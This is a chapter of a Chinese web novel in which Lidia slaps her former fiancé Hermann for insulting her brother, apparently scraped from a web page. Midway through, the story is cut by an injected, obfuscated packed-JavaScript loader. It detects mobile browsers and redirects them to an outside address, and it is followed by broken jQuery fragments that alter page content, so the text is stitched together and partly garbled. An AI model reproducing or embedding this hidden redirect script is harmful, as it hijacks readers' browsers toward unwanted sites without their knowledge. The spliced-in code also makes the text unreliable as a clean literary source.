月光下，那双冰蓝色的眼睛里闪过一丝迷茫。
莉迪娅张了张嘴，实在不知道在这种情况下能说些什么，她盯着潺潺流动的水柱，多么希望自己是一尊不用说话的雕塑。
这样她就可以在喷泉中央安静地做一个泉眼，只管对着所有路过的人滋水，再也不用面对这种尴尬又窘迫的局面了。
好在，赫尔曼似乎并不需要她的安慰。
不过片刻，银发少年就收敛起所有情绪，极其冷静地确认：“不是你解除的婚约。”
莉迪娅摇摇头。
显而易见，虽然是当事人之一，她却是对这场意外终止的婚约最一无所知的那一个。
在国家的权力中心长大，从小经历尔虞我诈的老牌贵族子弟赫尔曼，已经在短短几秒内联想到了无数个阴谋论。
其实，在确认莉迪娅真的完好无损地回到王城之前，对于艾尔顿家的爵位继承，贵族们之间一直流传着一种几乎已经被当成真相的猜测。
在帝国，无论男性与女性，都拥有相同的继承权。
无论年长或年幼，在法律上，双方对财产、对爵位的继承权是相同的。
帝国有明确的有关继承权的律法。在没有任何遗嘱的情况下，年长的孩子是爵位的第一顺位继承人。
但如果第一顺位继承人在继承爵位期间意外身亡，同时没能留下子嗣的话，爵位将落入第二顺位继承人手中，以此类推。
因此，在过去的无数记载中，第一顺位继承人在继承爵位的一年内意外身亡，是常有的事。
贵族们也早就习惯在参加完一场葬礼之后，紧锣密鼓地继续参加第二场乃至第三场了。
顺带一提，在葬礼上看到一位带着身孕眉眼间仿佛有着化不开的忧愁但依旧美丽非凡让无数年轻人蠢蠢欲动就此坠入爱河的夫人或是凄凄惨惨无人问津的年轻男子也是常有的事。
因为帝国法律虽然不承认胎儿的继承权，但绝对严格保证每一位正在孕育生命的女性的绝对权利。想要继承爵位，就必须一同继承已经怀有身孕的遗孀，保证她的后半辈子生活无忧——除非这位夫人主动要求离开。
甚至在孩子出生之后，爵位继承者也必须将这个孩子抚养至成年。
但如果出现在葬礼上的是一位鳏夫，不好意思，帝国没有针对青壮年男性的律法保护。青壮年男性请自行寻找出路。
总之，在当年艾尔顿夫妇意外身亡，根本没来得及留下任何遗嘱，也没能提前钦定继承人的情况下，虽然诺克提斯作为第一继承人顺理成章得到了爵位，但在确定属于他的孩子出生之前，爵位和性命，随时都有可能拱手让妹。
尽管那年莉迪娅只有六岁，但在莉迪娅·艾尔顿被以寻找合适的地方养病的名义送出王城，并且在一个偏远到连一场像样的舞会都办不起来的乡下小镇生活了十年之久的时候，几乎所有人都默认她再也不会回到王城了。
诺克提斯·艾尔顿，毫无疑问是这场爵位之争的获胜者。他已经彻底将自己的妹妹逐出权力中心。
如果他足够冷血，为了以绝后患，他完全有可能让妹妹悄无声息地死亡。
许多贵族早已默认，艾尔顿家族只剩下诺克提斯一人了。
以赫尔曼现在的权力，只能查到莉迪娅当年抵达的小镇，确认她依然存活。但他怎么都没办法和他的未婚妻有更进一步的接触，连一封回信都无法获得。
赫尔曼始终对诺克提斯有所提防。他断定是诺克提斯将莉迪娅囚禁在小镇，不让她有一丝一毫撼动自己的爵位的可能。
赫尔曼甚至早早做好了计划，等他有能力与诺克提斯·艾尔顿抗衡的时候，他一定要突破重重阻碍，将自己的未婚妻迎回王城，同她举行一场盛大的婚礼，让她成为高贵的公爵夫人，将只有伯爵爵位的兄长狠狠压在脚下。
事情的发展打了他一个措手不及。
诺克提斯·艾尔顿有望被国王陛下授予爵位，成为最年轻的公爵。
诺克提斯·艾尔顿至今未娶，没有子嗣。
莉迪娅·艾尔顿即将回到王城。
莉迪娅·艾尔顿决定与他解除婚约。
将这些事情串联起来，明眼人瞬间就能得出一个非常符合逻辑的结论。
看来这位艾尔顿伯爵非常不幸地没办法成功拥有自己的子嗣，不得已只能将已经被逐出王城的妹妹重新接回来。而再次拥有继承权的莉迪娅·赫尔曼，也毫不犹豫地选择拒绝与威斯夫特公爵之子的婚约。
当公爵夫人哪有当公爵来的舒服。
所以赫尔曼认为自己又一次被狠狠背叛了。
既然莉迪娅不再是他的未婚妻，那么他就没必要对她多加照顾。既然莉迪娅已经成为几乎板上钉钉的未来公爵的继承人，那么他将会以对待未来政敌的态度来对待莉迪娅。
——在见到莉迪娅之间，赫尔曼是这么坚定地打算的。
在圣罗帝亚学校开学的第一天，赫尔曼一句话都没对莉迪娅说，狠狠甩给她一个冷脸，留下一个冷酷无情的背影！
但现在他发现，原来他们之间的婚约，根本就不是由莉迪娅本人亲自拒绝的。
不过瞬息，赫尔曼就将矛头对准了另一个人。
“诺克提斯·艾尔顿。”赫尔曼冷声，“是他操控了这一切。”
“啊？”莉迪娅呆呆地看着他，不知道为什么他突然就对兄长有了敌意，“不，赫尔曼哥哥，这是不是有什么误会，哥哥他不会这么做的……”
在赫尔曼冷冽的眼神下，她越说越心虚，声音越来越小，最后一句话几乎成了喃喃自语。
毕竟婚约确实是哥哥拒绝的。虽然哥哥一定有他的理由，但是面对被拒绝之后看起来十分耿耿于怀的赫尔曼，莉迪娅多少有点底气不足。
但她不希望赫尔曼和哥哥交恶，她挣扎着为兄长说好话：“哥哥一定有他的苦衷……”
“天真。”赫尔曼迅速打断她，“你不应该盲目信任他。莉迪娅小姐，您应当对自己的处境有清楚的认知。诺克提斯·艾尔顿显然已经将你彻底蒙蔽，他这些年在王城行事狠辣——”
“不可能！”
莉迪娅厉声打断他，但赫尔曼犹不满足，接着说：“我早知道他是什么样的人，心狠手辣，独断专行，无情无义……”
“我不准你这样说我哥哥！！！”
几乎可以称得上尖锐的女声打断了他。
赫尔曼这才停下来，怔怔地看着面前已经明显带上怒意的女孩。
她用愤怒的眼神盯着他，一字一顿：“给我哥哥道歉！”
赫尔曼从来没见过这样的莉迪娅。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15080558|162554||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
在他的印象里，她总是羞涩地笑着，对身边的每一个人散发幼稚又可笑的善意，即便是一个毫无价值的平民，一个卑贱的特招生，都能得到她好声好气的招呼。
她完全不会对任何一个人说重话，也完全学不会拒绝别人。连卡德蒙家那个假惺惺的女人虚伪至极的刻意接近都看不出来，还傻乎乎说什么“伊芙是最好最好的朋友”。
这样的莉迪娅，不可能用这个态度对他。
赫尔曼脸上有被打断的茫然，有被冒犯的不悦，有面对她突如其来的怒意的无措，但就是见不到丝毫歉意。
他完全不觉得在莉迪娅面前说她敬爱的兄长的坏话有什么不对，甚至试图再次矫正她的认知：“你不要被那个诡计多端的家伙骗——”
“啪！”
一个清脆响亮的巴掌。
两个人都在这声响彻云霄的巴掌声下清醒过来。
莉迪娅捂着右手，磕磕绊绊：“你、我……你不准再说我哥哥坏话……”
她看着赫尔曼的侧脸，看到他白皙的脸颊上缓缓浮起的红痕，哆哆嗦嗦往后退了一步。
冰蓝色的眼珠子缓缓转向她。
莉迪娅扭头就跑。
*
她气喘吁吁回到舞会大厅。
一半是跑太快喘不上气，一半是被吓的。
刚刚活动过的右手的手心还残留着疼痛。力的作用是相互的，莉迪娅愁眉苦脸地想，赫尔曼的脸肯定只会更痛。
是她太冲动了。
她应该骂回去的。言语上的交锋对贵族来说再正常不过了，两个人今天反唇相讥，明天见面假装什么事都没有发生继续言笑晏晏更是常态。
她应该骂回去的。赫尔曼当她的面都要辱骂她唯一的哥哥，背地里还不知道要说些什么。她居然一句话都没骂出口，只打了一巴掌，慌不择路就跑了。
她应该骂回去的。反正那一巴掌都已经彻底得罪赫尔曼了，也不缺再多骂上几句出出气了。
莉迪娅看了看自己的右手，神色越来越凝重。
早知道骂完再跑了。
如果有选择的话，她当然很想很想和赫尔曼成为朋友。毕竟他是主角团之一，是未来会成为有史以来第一位内阁首相的人。
可是她没办法容忍赫尔曼在她面前，一而再再而三地诋毁她的哥哥。
……她太冲动了。
莉迪娅心里乱糟糟的，一会儿想是赫尔曼太过分，一会儿懊恼自己又不管不顾感情用事，一会儿担忧哥哥以后被赫尔曼狠狠针对该怎么办。
她在大厅里站着愣神，一动不动的身影在人影交错的舞池中异常显眼。
诺克提斯不顾礼仪，从正随着音乐相拥、分离的男男女女中穿行而过，在一片不满的低声抱怨中来到莉迪娅身旁，攥着她的手腕将她带到休息区。
青年将她的魂不守舍错理解成了另一种含义。
年轻的伯爵沉下声，咬牙切齿：“他做了什么。”
莉迪娅条件反射捂住了自己的右手。
诺克提斯紧紧揽着她的肩膀，迸发出前所未有的恨意，用几乎可以隔空将人撕成碎片的眼神，扫射向入口的位置。
银发蓝眼的少年正缓步走来，在冷色系发色和瞳色映衬下一向显得霜白的肌肤，凭空染上几分血色。